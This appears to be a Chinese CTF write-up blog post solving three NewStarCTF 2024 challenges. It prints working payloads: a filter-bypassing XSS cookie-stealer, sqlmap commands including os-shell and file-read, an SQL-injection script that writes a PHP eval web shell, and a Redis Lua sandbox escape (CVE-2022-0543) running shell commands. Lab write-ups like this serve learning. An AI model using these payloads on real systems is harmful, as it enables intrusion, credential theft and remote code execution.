2025-8-3-复现
好啦,今天第三天了,今天都是NEWSTAR2024-week5的,具体wp也可参照西电平台的
1.NEWSTARCTF2024-week5-PangBai 过家家(5)
打开环境,有个留言框,猜xss或ssti
再看下载的文件,
从 bot.ts 可见,FLAG 在 Cookie 中:
点击查看代码
await page.setCookie({
name: 'FLAG',
value: process.env['FLAG'] || 'flag{test_flag}',
httpOnly: false,
path: '/',
domain: 'localhost:3000',
sameSite: 'Strict'
});
再看page.ts,有一段过滤
点击查看代码
function safe_html(str: string) {
return str
.replace(/<.*>/igm, '')
.replace(/<\.*>/igm, '')
.replace(/<.*>.*<\/.*>/igm, '')
}
i—-忽略大小写
g--全局匹配,找到所有符合条件的内容
m--多行匹配,每次匹配时按行进行匹配,而不是对整个字符串进行匹配(与之对应的是 s 标志,表示单行模式,将换行符看作字符串中的普通字符)
对于m,我们可以写多行,例如:
`<script
alert(1)</script
`
题目靶机是不出网,看官方是写JavaScript 代码,模拟用户操作,将 Cookie 作为一个信件的内容提交(让 Bot 写信)
payload
<script
>
fetch('/api/send', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>
提交并「提醒 PangBai」之后,查看flag
其他exp:
<img src=# onerror=fetch("/api/send",{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({"title":"xinghe","content":document.cookie})});//

2.NEWSTARCTF2024-week5-sqlshell
我用的sqlmapz直接出来了,当然本题方法很多
先说说我学的方法
sqlmap -u url/?student_name=Alice --dbs
sqlmap -u url/?student_name=Alice -D ctf --tables
sqlmap -u url/?student_name=Alice -D ctf --schema
sqlmap -u url/?student_name=Alice -D ctf -T secrets --column
sqlmap -u url/?student_name=Alice -D ctf -T secrets --dump

发现并不能拿到flag
不过学习到新方法
sqlmap -u url/?student_name=Alice --batch --os-shell
//sqlmap交互

我们还可以
sqlmap -u url/?student_name=Alice --file-read="/you_cannot_read_the_flag_directly" --dump –batch

其他方法
可以通过布尔盲注的方法先测试,测出来跟sqlmap的一开始结果一样,拿不到flag
这时可以写入木马
脚本
点击查看代码
import requests
url = 'http://127.0.0.1:55664/'
payload = '\' || 1 union select 1,2,"<?php eval($_GET[1]);" into outfile \'/var/www/html/xinghe.php\'#'
res = requests.get(url,params={'student_name': payload})
res = requests.get(f'{url}/xinghe.php', params={'1': 'system("cat /you_cannot_read_the_flag_directly");'})
print(res.text)
当然也可手注
'\' || 1 union select 1,2,"<?php eval($_POST[1]);" into outfile \'/var/www/html/xinghe.php\'#'
3.NEWSTARCTF2024-week5-ez_redis
Redis Lua沙盒绕过命令执行(CVE-2022-0543)
打开环境,信息检索时发现url/www.zip有东西
下载下来有源码
点击查看代码
<?php
if(isset($_POST['eval'])){
$cmd = $_POST['eval'];
if(preg_match("/set|php/i", $cmd))
{
$cmd = 'return "u are not newstar";';
}
$example = new Redis();
$example->connect($REDIS_HOST);
$result = json_encode($example->eval($cmd));
echo '<h1 class="subtitle">结果</h1>';
echo "<pre>$result</pre>";
}
?>
这里有个redis的类,去搜搜漏洞,发现CVE-2022-0543
找到payload
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
但我们题目里有eval了,要去掉
payload:local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat flag", "r"); local res = f:read("*a"); f:close(); return res


浙公网安备 33010602011771号